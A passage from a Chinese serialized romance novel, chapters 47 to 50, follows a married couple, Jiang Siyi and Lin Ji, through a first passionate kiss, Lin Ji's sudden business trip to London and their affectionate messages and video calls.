正下定决心一会儿好好找个话题直面林棘。 倏然听到身后传来一声“小心”。 姜司意立刻回神,发现一枝马醉木的树枝在极近的距离,险些刺到她眼睛。 下意识往后躲,可林棘就在身后。 姜司意心里暗叫一声“糟糕”,感觉要撞到或者踩到林棘,引发可怕的“交通事故”。 林棘却半步没动,不在乎被撞或是被踩,张开双臂,稳稳将失衡的姜司意抱入怀里。 姜司意被她这样紧密地拥着,凭空而起的热意不打招呼地立刻往身体里渗透。 香味弥漫在鼻尖,缓缓回眸时,眼神有些发滞。 本要提醒她小心的林棘,意识到因为怀中女人的侧转,两人之间本就极近的距离几乎在瞬间消失。 紧拥的姿势,垂手可得的软唇,陆续落在对方双唇上渐渐失焦的眼神。 当下,无论是姿势还是气氛,都非常适合接吻。 手已经不知不觉从姜司意的腰间游走到背脊,抚上后颈,张开,控制住了她。 本能的渴望在心上卷起热潮。 可姜司意最近在躲她,内心深处是不是在畏惧着。 如果真的吻下去,会不会吓到她。 林棘内心正在权衡。 却看见姜司意双眸完全沉沦了。 呼吸紊乱不堪间,饱满的粉色唇珠微微噘起,紧闭的双唇忽然多了一丝可供进入的缝隙。 与此同时,闭上了眼睛。 像一只胆怯又期待的小羊,在她怀中轻颤着。 是要接吻吗? 姜司意如雷的心跳间隙里,有个声音在说—— 如果想接吻,那作为听话的妻子…… 该是这样的吧。 咚—— 林棘一向能稳定控制的心跳,瞬间失序。 把姜司意摁在墙上,启开她不知所措的双唇时,听到她喉咙里发出短促的、带着破碎感的闷哼。 唇齿无从抵抗。 被轻易闯入。 陌生的柔软和滚烫感让姜司意单薄的身子明显地发颤。 压抑多时的欲念重重碾上脆弱的软瓣,吻得深之又深。 轻易把她弄烫了。 【作者有话说】 林棘:宠妻第十八步,不多说了,懂的都懂[害羞] 48 第48章 ◎小巧的下巴被顶得扬起◎ 姜司意的性格内敛,接吻时的声音也很克制。 除了最初被压在墙上的那一下外,其余细碎的声音都忍在喉咙里。 呼吸不畅想要离开林棘的唇,却被扳回脸。 完全不停甚至更加深吻,被吻得不自觉地踮起脚尖。 摇摇晃晃,不知该前进还是后退。 浑身燥出一层热汗,声音却都是闷闷的。 只有滚烫的呼吸被林棘的唇舌堵着。 凌乱又压抑。 双唇一直被张到羞耻的角度。 口中的软舌纠缠她,纠缠到舌根发麻。 无法想象,平时周全有礼,总是不疾不徐的林棘,接起吻来这般凶。 一再地侵入,完全不留余地。 浓郁到莫名的占有欲,让姜司意鼻息沉重。 晕眩感罩着她的意识,氧气就要消耗殆尽,只能由着林棘摆弄。 凶中又有着难以言说的技巧。 下颌和腿一起酸软。 抱着她的女人也没有要停下的意思。 她被吻得身子歪斜,吻还在继续,腰被往后折去。 水珠从唇边不受控地滑落。 细细的水声在空旷静谧的屋子里越来越清晰。 不堪入耳。 就要站不稳,又不舍得喊停,只能圈住林棘的脖子来维持身形。 这个动作却像是在亲近。 无师自通的撒娇,似在讨要更多。 感受到姜司意闷不吭声的主动靠近,林棘呼吸滞了滞,手压在姜司意薄薄的后背上,将她更重地压入自己的怀里,另一只手箍着已经被吻软了的腰。 竟将她抱了起来。 吻还没停。 双腿悬空的同时还在被深吻着,这份晕头转向的不安全感让姜司意终于害怕地低呼出声。 低呼声未完,就在一同落入沙发的颠簸中,骤然转成了闷哼。 带着些痛意的“呃”,很轻,尾调是连姜司意自己都想不到的软,像故意在撩拨人心。 听到自己的声音,姜司意本就热得不行的脸庞,更似一瞬间燃烧起来。 橄榄绿小公牛皮沙发上,两个身段妖娆的女人纠缠得难舍难分。 被身上人拥着、吻着、挤压着。 姜司意小巧的下巴被顶得扬起。 长*腿难耐地弯曲。 拖鞋早都不知道去哪儿了,林棘的长发往她的脸和脖子上铺。 应该是很痒的,可姜司意被林棘纤长的手指扣着脸,转向一侧,露出雪白脖颈。 双眸失焦。 已经完全被这份陌生的酥麻感控制,无暇顾及其他的感受。 远处茶几上的手机震了多久,没人想知道。 一开始无人管它。 第一次自动挂断后,又锲而不舍地响了起来。 与此同时,一直在沙发边上着急打转,不知道该如何“劝架”的雪球也跟着叫起来。 一声比一声急。 听到狗叫声,林棘脑中某根紧绷的神经被唤醒。 两人的动作都变缓了。 迷散的神志回拢了些。 相缠的姿势太难捱。 姜司意抵在林棘肩头的小臂,下意识地往上推了推。 林棘长发凌乱地搭在眼前,看不清表情,只是唇上还有水光,胸口起伏的程度和姜司意一模一样。 被姜司意这样轻推了一下,林棘只能在沉默中起身。 姜司意也坐了起来。 有点尴尬地把推至腹上的衣服拉了回去。 看向桌上还在震的手机。 “说不定……是重要的工作。” 一开口,自己暗暗惊愕,声音竟都沙哑了。 林棘又沉默了数秒,才去拿茶几的手机。 姜司意将雪球抱起来。 “吓着你了?” 雪球还有点着急,小豆眼不明所以地看着主人。 姜司意顺着她毛乎乎的脑袋,小声说: “没事的,我们不是在打架,只是……” 在做非常亲密的事。 后半句没能说出口。 看向林棘的背影。 林棘低语几句话,挂断后回头,气压有些低,调整了一下心情才开口。 “有个线上会议,现在得去。” “嗯嗯,你去。” 凝视着姜司意半晌,见小姑娘原本整整齐齐的长发此刻毛躁了不少。 她自然是罪魁祸首。 帮忙顺好发丝,再揉揉脑袋。 她安抚雪球,林棘安抚她。 又变得整整齐齐了。 姜司意不太自然地垂着眸道:“没关系的,我,一会儿自己去梳头。你快去开会吧。” 林棘正要离开,姜司意忽然发现了什么。 “等一下。” 撑着沙发扶手站起身,挨近林棘。 试图把林棘领口左侧的一团褶皱抻平。 林棘没说话,就由她抻。 不言不语间,姜司意知道此刻林棘的目光正和她落在同一个地方。 这团褶皱,是刚才接吻时,姜司意亲手攥成这样的。 实在太紧张,林棘又吻得那般凶,心跳声充盈着胸口。 双手在圈住林棘脖子之外的时间里,根本不知放在何处才好。 急需找一个能够攥在手里的依托。 林棘的衣服就成了她荼毒的对象。 亲肤的贵价白衬衣,几下就被她揉成了花。 一时半会无法恢复。 位置太高了,就在肩膀附近,视频会议肯定会看到。 就算林棘平时穿得再简单,也绝对是整洁且一丝不苟的。 衣服皱巴巴的不像她的作风。 还容易引人胡想,没有必要。 可她攥太狠,抻了又抻,还是有些痕迹。 林棘:“没事,我披件衣服挡住就好。” 姜司意心想“只能如此”。 嘴角忽然被林棘拇指指腹压住,轻抹。 先前完全没有存在感的水渍被这一抹,皮肤反而感受到了微凉和潮湿。 刚才接吻时的混乱和燥热。 以及不堪的水声。 一起袭上心头。 姜司意僵硬地转开了目光。 后颈都在发烫。 帮姜司意整理完,林棘就去书房开会了。 哒哒哒—— 迟缓的脚步声延伸到浴室。 姜司意打开镜柜的灯,撑在水台上。 掌心太热,水台台面都冷得她一哆嗦。 镜子里的女人眼神还有点不对劲的迷离,脸上铺着不自然的潮红。 双唇红红肿肿,一看便是被揉碾过的模样。 歪过脑袋靠近镜子。 脖子靠近锁骨的地方,有深深浅浅的红痕。 她当然知道这是什么。 刚才在沙发上,脸被林棘那样扣住,脖子完全暴露出来的时候,林棘给她留下的。 幸好…… 没有在很上面的位置,穿有领子的衣服就能遮住。 刚才,她真的和林棘接吻了么。 不太真实的感觉在心里不断鼓噪着。 用冷水洗一把脸,清醒了不少。 下巴上一串水珠往下落,滴滴答答。 余光里有一团白乎乎的毛团乖巧地站在远处。 发现姜司意看向自己,雪球有点呆地偏了一下圆脑袋。 雪球之前在客厅看到林棘和姜司意缠在沙发上,好激烈。 不知道为什么,平日里给它好吃的、陪它玩的两个好人突然打起来了。 心急之下是汪得有点大声。 在它的视角看来,这两个人莫名打起来又莫名分开,之后也没有要继续打的样子。 突然开始,突然结束。 雪球满脑子疑问,安静地陪着姜司意,生怕她又被谁打,走哪儿跟哪儿。 姜司意不想雪球担心,陪它玩一会儿,放松放松。 却频频走神。 手里一个劲地丢玩具,累得雪球吐舌头,不动弹了,往地上一趴,小小的一双脚掌朝天,愁眉苦脸地回头看姜司意。 ——要不麻麻你自己去捡吧。 姜司意:…… 这神走得有点缺德。 给雪球按按摩舒缓舒缓,刚按完小手,身后传来一阵脚步声。 林棘开完会,回来了。 姜司意还蹲在雪球面前,没转身。 忙着帮雪球做SPA,实则所有的注意力都集中在身后。 不知道今晚还会发生些什么。 “司意。” 林棘一步步靠近,已经站到她身后。 姜司意喉咙微动,手中继续忙碌,假装平静地: “嗯?” “有重要的事,需要出差。” 姜司意意外地回眸,“什么时候?” “现在。” “现在?这个点钟出发去机场,还有航班吗?” “坐我自己的飞机。” “噢……” 真是问了个傻问题。 雪球实在受不了姜司意的“毒手”,翻身逃走了。 姜司意站起来,一时不知道该说什么。 不知该松口气,还是失望。 林棘去收拾行李。 到衣帽间拿出行李箱。 她经常出差,衣帽间里有一个专门存放行李箱的空间,随时能拎出来。 里面一些日常消耗品甚至都没拿出来过。 房子空荡荡的,行李箱却在最顺手的地方。 仿佛是这房子的过客。 这儿只是她暂时的落脚点。 随手装着衣服时,跟进来的姜司意问她: “要去哪里出差啊?” “伦敦。” 本想问去几天,林棘率先回答了。 “暂时不知道要去多久。” 看来是突发事件,很棘手,且不知道解决起来要多长时间。 姜司意靠在门边,看着手机说: “伦敦这段时间会有雷阵雨,最高温度才22度,比J城冷多了。带点厚衣服吧。” 还以为刚才吻得太狠,吓着姜司意了。 没想到还在替她着想。 林棘:“好。” 扣好行李箱,住在附近的樊青已经在车库等她了。 姜司意送林棘到车库门口,听到林棘问樊青:“周霓答应了吗?” 樊青:“答应了,她已经在来的路上。” 林棘转头对姜司意说: “周霓答应过来临时保护你的安全,直到我回来。还和之前一样,不会露面,有什么事你直接喊她。” 姜司意点头时,樊青下意识地看了一眼手表。 这次的事情不仅很重要,时间还很赶。 姜司意:“我知道了,你快去吧。” 时间比较紧,是得快点走了。 可姜司意的“懂事”还是让林棘沉默一瞬,才上了车。 见林棘坐入车中,姜司意其实有些话想说,可樊青在这儿,她说不出口。 欲言又止。 车门就要关闭的时候,林棘忽然投来一个眼神。 这道目光搦着姜司意的心尖。 酸胀感难以言说。 林棘的车消失在夏夜独有的燥热之中。 良久,姜司意才在雪球的陪伴下,慢慢返回屋子。 从车库走回客厅沙发,慢吞吞的走了好几分钟才走到。 姜司意握着手机,已经打开了和林棘的对话框。 对着那个“,”发着愣。 没组织好心里的措辞,离家越来越远的“,”心有灵犀般先开口了。 【牛尾已经炖好了,关了火,还在灶台上。米饭在电饭煲里保温着,记得吃。】 对哦,回家的时候林棘在炖牛尾。 这锅牛尾她精心准备一整天了。 姜司意的肚子很是时候地发出饥饿肠鸣。 去厨房的路上,姜司意忽然想起前几天她在看一个美食节目,林棘路过客厅的时候,正好播到炖牛尾的画面。 姜司意随口说了句:“看上去好像很好吃。” 所以,林棘就记下了么…… 走到灶台前,和珐琅锅面面相觑。 如果珐琅锅能开口,姜司意很想问它,你为什么也是粉色的。 捏住锅盖上隔热的小帽子,掀开沉重的锅盖,牛尾咸鲜的肉香味立刻蔓延。 和之前她在电视上看到的那锅有过之而无不及。 戴上隔热手套,把整锅牛尾端到桌上。 牛尾已经炖到软烂脱骨,筷子一夹,带着筋膜的牛肉轻易地剥落。 浸满胶质汤汁的肉配着软糯喷香的米饭一同入口,身心满足。 真好吃啊…… 姜司意一边吃,一边查看炖牛尾的做法。 和她想的一样,炖牛尾需要很长的时间才能软烂入味。 难怪林棘从今早开始就在处理食材,晚上从公司回来再接着炖。 费时费力,就为了她随口的一句话。 姜司意思绪有些飘,不知不觉吃了一大碗米饭。 牛尾是两人份的,姜司意吃不完,存放到冰箱里,明天热一热再吃。 原本想要盛出来换小盘子存进冰箱的,看了眼那个双开门,打开试了试,真的整个珐琅锅都能放进去。 好大,好方便啊。 不像她之前出租屋的小冰箱,大一点的碗或者切一半的西瓜放进去都得挪半天。 放完锅,林棘又发了一条微信来。 还以为是问牛尾的味道,没想到…… ,:【刚才弄疼你了吗?】 姜司意握着手机的手微微动了动。 被食物转移了注意力的思绪翻腾,热意烘着她的心。 不好回答。 又想回答。 姜司意走到镜子前,拍了脖子上的吻痕,思来想去,闭着眼不管那么多,发了出去。 就一张图,没字。 林棘应该能知道她的意思。 另一边,夜晚的高速路上,林棘正在用平板和海外连线,确定她抵达之前临时的处理办法。 一直握在手里的手机震了一下。 视频里的同事在和另一个人说话,林棘垂眸看了一眼。 呈现在视频里的神色没有任何变化,却在暗中变换了姿势。 姜司意去洗澡之前,收到林棘的回复。 【等我回来,让你报仇。】 嘴角不自禁地被勾着往上扬。 虽然她不会复仇吧,但心口还是塞满了左冲右突的愉悦感。 依旧不太好回,依旧就是想回。 最后回了一个“。” 散装吐司:【。】 希望林棘别觉得她无趣。 她不知道的是,林棘在看到这个无奈感十足的句号时,被她可爱到喝了好几口的水。 互相道了晚安,姜司意去洗澡了。 洗完澡出来,回到卧室,打开投影仪,还是听新闻。 主播的声音回荡在卧室里,居然有些回声。 刚搬来的时候觉得这栋房子太大了,装修也很简单,却因为喜欢自己种水果,自己做饭的林棘,处处有趣味。 可今晚,巨大的空间因为少了一个人,显得更加空旷。 独居了那么多年,只是和林棘同床共枕了一周时间,枕边人一走,竟不适应了。 本来就大的床,原本比她印象里还大。 之前酒后跟段凝口无遮拦,说什么林棘那么冷淡的人恋爱都未必会谈,骁勇善战的可能性为零。 还警告自己不要逾越,不要上瘾,不要越界。 如今回想,竟全是flag…… 林棘不仅会,还很会。 骁勇善战到她这会儿腿还有点软。 界也越了,还越得惊天动地。 姜司意苦恼地翻个身,用力抱住小蘑菇。 习惯性地摸摸自己的耳朵寻找睡意,睡意却迟迟不来。 睡不着,唇上还有林棘留下的触感。 洗过澡了,感觉身上还都是她的香味。 指尖留存着揉捏林棘耳朵的记忆。 连耳朵的手感都那么好。 怎么才摸过一次,就开始非她不可了。 【作者有话说】 林棘:宠妻第十九步,在老婆身心上放火~[垂耳兔头][垂耳兔头][垂耳兔头][垂耳兔头] 49 第49章 ◎腾出的双手在解风衣的纽扣◎ 这一夜被各种情绪挤满内心,身边又少了一个人,不出意外没能睡好。 第二天早上被闹钟叫醒,艰难地睁眼一看,八点了。 急匆匆下床,看到周围的环境,忽然想起自己搬到公司附近了,骑车七八分钟就能到。 九点半上班,八点起床之后还能慢吞吞地吃早饭、听新闻、遛狗狗,不用担心早上时间不够用。 提至半空的心又落了回来。 大概是醒来时就只有自己一个人,有种回到出租屋的错觉,神志略有点恍惚。 遛完雪球,本来懒得吃早饭。 可是这段时间林棘坚持做饭给她吃,每日各种营养均衡细心搭配着,弄得她都不好意思怠慢自己了。 在冰箱里寻觅了一番,烤了片面包,铺满布里芝士。 煎一小块熟成比目鱼配个荷包蛋,再洗些罗马生菜搭配着解腻。 自然还有一小盆家里永远不缺席的草莓。 全部摆上餐桌,营养健康,配色还赏心悦目。 有点林棘的风范吧? ——除了形状不规则还破了点皮的煎蛋,和出自林棘之手完美的椭圆形不太相似。 姜司意对自己通过模仿而忽然精进的厨艺很满意。 舒舒服服吃完饭,换了衣服,骑车去上班。 今天早上还挺凉爽,沿着路边的树荫骑车到公司,微风吹拂,半点汗都没出。 就是怎么觉得这件T恤有点不合身? 好像大了一号。 进入大厦,排到队尾等电梯的时候,手机震了一下。 有预感是林棘的微信。 拿出手机一看,真的是。 双唇抿住即将在大庭广众之下溢出的笑意。 今天份的默契达成。 林棘发来一张伦敦机场夜景照片,她应该刚刚下飞机。 ,:【我到了。】 姜司意才意识到,居然没有让林棘“到了跟我说一声”。 即便没说,林棘依旧自己主动来“报备了”。 散装吐司的指尖飞快在屏幕上敲击:【冷不冷?】 ,:【穿上你提醒我带的外套了,不冷。】 ,:【牛尾吃了吗?会不会咸?】 散装吐司:【不会咸啊,超好吃。】 顺手把昨天拍的牛尾炖锅照片发给林棘。 说好吃是发自肺腑,发出去之后又看了看,文字加图片,感觉有点喜欢的太真心了。 做起来这么麻烦的食物,被她重点提及,林棘要继续做怎么办? ,:【那以后经常给你做。】 果然。 姜司意正想回复,电梯门开了。 身前身后都是汹涌的人潮,虎视眈眈地想要占领早高峰轿厢里的一席之地。 暂时把手机锁屏,缩成一竖条进入电梯。 艰难地坚持到了公司,和同事们打了招呼。 走到充满瑰夏香味的茶水间里等着咖啡机现萃一杯咖啡的时候,再次点开微信想回复林棘。 嗯? 嗯嗯 林棘居然发朋友圈了。 【炖牛尾也没有想象中的那么费劲。而且,有人说超好吃。图片由散装吐司女士友情提供。】 林棘的朋友圈不仅直接提到了姜司意的昵称,下面跟的图片就是刚才她发给林棘的。 图片左下角还露着姜司意的大半只手。 照片就是随意一拍。 没有发朋友圈习惯的姜司意拍照就是这样毫无构图可言。 更没加滤镜。 不仅一只手相当随意地摆在那儿,手上的戒指还格外明显。 不出所料,林棘评论区的“妹妹团”又一次迅速杀到。 评论、点赞依旧准时地哗哗涌入。 但画风有了点微妙的不同。 【我又悟了。生活的最高境界不是每时每刻都过得充满诗意,而是为心爱的人洗手作羹汤。托姐姐的福,今天的糖分大早上就超标啦[捂脸]】 【SOS!也太有生活烟火气了吧。什么叫神级构图,学到了学到了[并不简单]。嫂嫂的手好美啊,素圈就要这么戴,分分钟戴出高级感。一次性get两种技能[并不简单][并不简单]】 【姐姐太十项全能了吧?随便炖个牛尾也这么出神入化。手机屏幕闻不到香味的bug被姐姐治好了。姐姐什么时候开课教授宠妻秘诀啊,保证第一个报名,前排占坐!】 【散装吐司就是司意姐姐吧,别问我怎么知道的,因为我之前就加了司意姐姐的好友[可爱]什么时候办婚宴,现在就准备贺礼会不会太着急了?[可爱][可爱]】 依旧是被“姐姐”淹没的一天。 只是和之前不同的是,她自己也成了“姐姐”。 还在字里行间看到了让她五官迅速从中心往外漂移的“嫂嫂”。 姜司意揉了揉额角。 早知道林棘想发朋友圈,她肯定会把照片拍得更好看点,也更低调点。 这么说起来。 姜司意往下翻了翻,林棘之前是万年不发朋友圈的。 今年已经发了两条。 且两条都是和她相关。 上次是暗地里相关,这次已经公开关系,藏都不藏了。 想再冲一次“狂欢的广场”。 区别于上次可以鬼鬼祟祟,这次肯定无法藏在人群中了。 思来想去,说什么都不太好,还是就发了两个烟花的表情。 当初希望林棘别察觉,埋在成山成谷的彩虹屁里就好。 这次的心态是她自己明了的不同。 希望林棘还能发现她。 回复发出后,端着咖啡回到工位。 刚坐下,林棘就回复她了。 在所有留言和点赞之上,独独回复了她。 学她一起放电子烟花。 姜司意放两朵,她放三朵。 把姜司意的留言从“狂欢的广场”中点中,人工置顶。 忽然意识到,上一次给林棘留言,其实内心深处就是想她能看见自己的。 不然为什么要留言呢。 那当初埋在思绪之下,暂时未能理解的心思,在这一刻全然揭晓。 指尖下意识地抚摸手机边缘,嘴角不自觉地扬起,根本无从阻止。 奇怪。 烟花明明只是手机里的小小表情包,却像是直接放在姜司意的心尖上。 轰隆隆的,震得她左胸腔酥麻酸胀,怦然心动。 林棘又一次主动报备。 ,:【我要去开会了,估计最少会持续两个小时。开会的时候可能不太方便发微信,开完会再联系你。】 人没在身边,却能做到每一步都跟她说明。 姜司意甚至能想象此刻的林棘应该已经到了公司,往会议室快步行去的路上,穿着那件在她提醒下带上的驼色风衣,左手拿着杯醒神的咖啡,右手单手发出这条微信。 比林棘还忙的人恐怕没多少,连她都能在繁忙的时间缝隙里周全地交代一句。 不会让姜司意在之后的两个小时里因失联而胡思乱想。 那些长时间都不给恋人回一条微信的人,不是真的没空,只是单纯的不在意,不想回罢了…… 这一早上姜司意很忙。 工作忙,手机也忙。 时不时进来一条点赞。 再隔三差五又多一个加好友的请求。 要不是这些请求,其中有些以为还是好友的人,什么时候把她删了都不知道。 倒是不太在意,删了再加也无所谓。 这些人际关系本就模糊难辨,现在的她已经没有兴致去分辨谁是真心谁是虚情。 指尖一动罢了。 精力应当只花在重要的人和事上…… 早上和同事一起确定了下一期网络拍卖的主题,结束工作的时候已经十二点半。 外面太阳正艳,不想出楼,就和段凝到公司一楼的员工食堂随便解决一下。 对于员工食堂,段凝之前的评价是:“食堂的承包商估计有个盐场,还得经营一个水站。不然做饭怎么那么咸,吃顿下午得喝一桶的水。” 去年中秋之后,一道月饼炒苦瓜横空出世,更是让客流量锐减到历史最低值。 整个金石玉器部的人都无情地抛弃了它。 段凝上个月抱着侥幸的心态又去了一次,依旧难吃到她五官紧缩,立刻去朋友圈控诉,说员工食堂是黑暗料理界的扛把子,离职率推升机,业绩低迷的罪魁祸首。 神奇的是,控诉之后,食堂的饭菜最近忽然好了起来。 黑暗料理统统不见,菜单几乎换了一批,烹饪技术也提高了不止一个档次。 色香味俱全,还有当季新鲜水果。 之前到林雪泊家和众亲朋的那场私洽,让段凝这个月的佣金冲到历史新高,看到工资单的时候在床上兴奋地滚到披头散发。 她是个懂得感恩的人,知道是谁让她有此机遇。 跟姜司意说今天她请客,随便点,想吃什么吃什么。 “真的和以前完全不一样了,点什么都不踩雷。特别是草莓,老好吃了,比外面贵妇超市卖的都好吃。你不是最喜欢草莓了么?来,尝尝。” 段凝特意买了一大盒洗好的草莓,推到姜司意面前。 姜司意看眼前的草莓,疑惑地缓缓眨眨眼。 难道因为和林棘关系有了意外的改变,心里塞满了关于她的情绪,连看公司食堂的草莓都觉得和家里院子种的一模一样? 不跟段凝客气,拿起一颗又大又红的草莓,咬一口尖尖。 果香好浓郁,非常好吃,真的和林棘种的口感非常像。 姜司意:“好好吃的草莓。” 昨天已经吃了一斤多草莓的段凝说:“是不是?不会是我在朋友圈里骂得太大声,被老天听到了吧,直接把食堂承包商给换了。嘉仕比真是出息了,别回头立刻就变成网红餐厅,买个饭都得排队。趁现在多吃点。” 段凝未雨绸缪,姜司意深以为然地点头。 与此同时,脑海中闪过一个念头——这新的承包商幕后老板不会是林棘吧? 因为她在早餐店吃到了惊艳的草莓,所以林棘亲手操办,从家中到公司,全都换成了她喜欢的口味,就为让她在经常出入的场合能随时吃到最喜欢的水果吗? 念头浮上脑海,吃掉了整颗草莓的姜司意笑了一下。 好傻,怎么可能,但,胡思乱想的感觉也不错。 今天就让她自恋到底好了。 …… 她俩从来没在食堂吃得这么开心,吃完一起往楼上办公室去。 回来的路上,段凝夸她“衣服真好看”。 这件简单的素色半高领T恤也不是第一次穿到公司了,89元一件,会员69元,会员本人姜小姐买了三件不同颜色的,便宜又好穿。 今天会选它,自然是因为半高领的优势,能遮一遮脖子上的痕迹…… 早上挑衣服的时候还在想,这种事倒是无师自通。 姜司意:“你要吗?回头我再去那家店给你带。” 段凝神色微变,刚说了个“别”,吴经理过来叫段凝去办公室一趟。 段凝走之前还交代姜司意:“别给我买哈,太贵,穿什么不是穿。” 69一件也不贵啊。 姜司意心想,段凝日子过得这么节省还请她吃饭,人真好。 往工位上走的时候,手机开始震。 估计是林棘开完会,给她发微信了。 结果不是微信,是视频。 姜司意看到“,”的视频请求,心像被雪球的小爪子拍了一下。 明明是合法领过证且公开了的妻子,在接通之前,姜司意还是四下看了看,走入附近的休息室,关上了门,独处时才接通。 【刚开完会,时间比预想的长了点,抱歉。我现在在酒店,距离你下午上班是不是还有点时间?】 林棘一上来就把姜司意想知道的事都解答了。 顺便给出一个潜台词—— 想要霸占她下午上班前的这段时间。 【嗯,还有一会儿呢。】 姜司意坐到沙发上。 视频里林棘正走在光线并不明亮的酒店走廊上。 高跟鞋踏在厚重的地毯上,发出一点细微的闷响。 黑色的长卷发垂落,遮住了半张脸。 昏暗中若隐若现的轮廓,让姜司意想起昨晚的吻。 想起双唇被启开时的滚烫。 被抱到沙发上从唇热吻至脖子。 当时的林棘也是这般,被头发遮盖住了眉眼的神态,双唇发亮的色泽和轮廓反而更加醒目而深刻。 姜司意走了一瞬的神,很快找回思绪,假装丝毫没有胡思乱想。 【累不累?】 林棘用房卡开门的时候,手机角度下降,变成从下往上仰拍。 大美人就是大美人,即便这么死亡的角度也漂亮得肆无忌惮,毫无瑕疵。 长发覆盖在脸侧,灯在头顶,周遭的氛围为她覆上一层电影般慵懒的质感。 浓郁的美感又一次袭入姜司意的眼底。 还以为林棘早就习惯了世界各地穿梭的生活,洲际飞行也习以为常,会说“不累”,浑然不在意。 没想到她声调略略拉长,尾调轻轻的,“嗯”了一声后说: 【有点。】 甚至眼尾都往下弯了些。 眼眸里映着灯光,亮晶晶的,往下看镜头,像在等待姜司意的安抚。 和想象的不一样。姜司意顿了顿,在心里千挑万捡,发现自己论嘴甜的程度,完全比不上林棘朋友圈里那些尽会说好听话的“妹妹们”。 肉麻的话说不出口,思来想去,憋了半天憋出一句: 【昨晚在飞机上没睡好么?】 【没家里安稳,几乎没睡。】 这么一算,林棘恐怕已经超过二十四小时没有睡觉了。 【那,我陪着你睡。】 【怎么陪?】 【就……】 隔着屏幕,姜司意的眼神微微闪烁着。 【视频别挂,等你睡着了我再挂。】 说完之后,觉得手机的热度都升高了几分。 林棘轻笑的鼻音扑在话筒上,微微的喷麦声和她上扬的唇角勾勒出被抚慰之后的愉悦。 【好。】 不知道林棘看着她时在想什么。 对姜司意而言,面对刚刚接过吻的人,就算是隔着手机屏幕,身处地球的两端,还是有些腼腆。 可即便无所适从,也没什么要紧事,依旧想和林棘说话。 随便说说最普通的话都行。 想看看此时此刻的她,想听她的声音。 【公司的事处理得怎么样了?要紧吗?】 【当地法规变动得太突然,幻维有被针对的嫌疑。现在算是制定好了几个计划,明天要和法律团队碰面,制定和政府部门周旋的方案。】 【听起来有点麻烦啊……】 【不用担心,不是第一次,有处理的流程模版,就是需要花点时间。】 林棘把手机架在办公桌上,镜头依旧面对着自己。 腾出的双手在解风衣的纽扣。 姜司意很想好好说正经事,可注意力完全被林棘的手部动作吸引过去。 雪白的肌肤在只开了氛围灯的空间内,白到发光。 戴着象征已婚戒指的双手,正慢条斯理地为自己解开扣子。 姜司意的思绪在“别乱看了对于联姻的妻子来说这不太礼貌”,和“都领证了还接吻了是合法的你看什么都是合法的”之间来回摇摆,艰难保持着看似正常的谈吐。 外套脱到一旁,里面是修身款的白衬衣。 黑发白衣,纤腰直肩,不知道林棘本人有没有意识到自己的身材有多好,随意展示的画面有多撩人。 被那双修长有力的胳膊拥抱之后,身体开始自作主张地空虚。 咕咚。 相隔千万里,姜司意意识到自己不能再看下去了。 【要、要休息了吗?】 【嗯,你也该上班了。】 【晚安,去睡吧。】 按照交谈的顺序,这时候林棘应该回她一个相同的“晚安”。 姜司意却没立刻得到这两个字。 林棘拿起手机,毫无预兆地靠近屏幕,认真凝视着姜司意。 那张让她想了一整日的脸忽然放大在眼底,姜司意被弄得呼吸一滞。 【……怎么?】 【很好看。】 姜司意耳尖上有热度在蔓延:【……嗯?】 林棘无甚表情的眼眸,一点点被笑意浸染。 【我的衣服被你穿得很好看。】 【作者有话说】 林棘:宠妻第二十步,随时让老婆欣赏到赏心悦目的画面[害羞] 50 第50章 ◎滚烫的冲动◎ 【我的衣服被你穿得很好看。】 林棘的衣服? 姜司意迅速扭头看向不远处的半身镜。 她从来没怀疑过自己穿的不是“69元会员专享”T恤。 结果一看,真的是林棘的衣服。 这两件衣服款式和颜色都很像,都是纯色半高领。 可认真看,此刻她穿的这件是正肩T恤,肩膀和腰部有低调且很显身段的设计感。 最明显的区别是,短袖侧面有个小小的LOGO。 “69元会员专享”则是没有的。 难怪之前说给段凝带一件的时候,段凝会是那样的反应。 林棘这件衣服大概能买一百件会员专享。 同居之后,家里的家务会有社区管家来帮忙,比较私人的事务则由林棘一手包办。 姜司意不好意思让林棘这么操劳,当然也会主动分担。 洗烘衣物,就是她给自己揽下的家务之一。 前几天“老婆”事件后,姜司意心里藏着事,家务活本身又比较机械,分拣烘好的衣服时走了个神,错把林棘的衣服挂到自己的衣柜空间里了。 今早换衣服出门的时候更是魂不守舍,大脑完全被林棘塞满,看到是半高领就穿了。 难怪先前感觉衣服稍微有点大,并不是错觉啊…… 姜司意眼前一黑,不敢转回去面对视频里的林棘。 不会觉得她有什么特殊癖好吧? 好难狡辩。 只能硬着头皮实话实说: 【如果我说……我真的只是拿错了,你会信吗?】 【嗯,信。】 某些人嘴上说信,含笑的表情却是相反的意思。 姜司意:…… 还没来得及为自己强词夺理,就听林棘又补充一句: 【穿半高领挡吻痕。是我的错。】 姜司意:。 这道歉分明想让姜司意脸更红。 光是看林棘解外衣扣子都有点心猿意马,继续说吻痕的话题只会更难熬。 林棘的逗弄点到为止,毕竟姜司意下午还要上班。 正想说点别的,姜司意那头传来一阵敲门声。 段凝的声音从外面传进来。 “司意,你*在睡吗?吴经理说有个会要开。” 下午上班的时间意外提前了。 刚才还说要陪着林棘,直到她睡着。 转头就得离开去工作。 姜司意在组织语言,该怎么开口。 林棘率先说:【我已经困了,视频一关就能睡着。你去开会吧。】 【那……】 【晚安。】 林棘笑了笑,不舍地率先挂了视频。 洗漱回来,看到姜司意发了个表情包。 一张摸着小狗狗脑袋说“晚安”的动态图。 林棘嘴角微弯。 握着姜司意送给她的“柿柿如意”,柔软的兔毛触感很好,揉在手心里很能给她安全感。 以前出差在外,手里有个毛绒玩偶给她揉捏着,还是比较容易找到睡意的。 可是今天黑夜的侵扰已经不是最明显的压力。 身侧空荡荡的感受才是最明显的。 这么多年来她早就习惯了独睡,孤独的日子里也不觉得自己需要谁的陪伴。 才和姜司意同床共枕了一周,身边人不见,空虚感难以忽略。 兔毛做的小柿子在手里揉碾半天,睡意迟迟没来。 生怕把小柿子给揉变形或掉毛了,林棘只好把它放到身边,给小圆球盖上一半的被子。 闭眼平躺,试图进入睡眠状态…… 酒店内部酒吧通宵开放。 正在调时差的樊青坐在酒吧靠窗的位置,戴着头戴式耳机听歌。 随手拍一张太阳从高楼大厦的缝隙中升起的照片。 单手撑着昏昏欲睡的脑袋,把照片发出去。 一分钟后,对面回复了。 乔:【这是不睡了?】 _:【嗯,一会儿灌杯咖啡接着工作去。】 乔:【熬夜老得快,尽会虐待你这张漂亮脸蛋。】 樊青笑了笑,随后抬眸瞧自己这张倒映在玻璃墙上的脸。 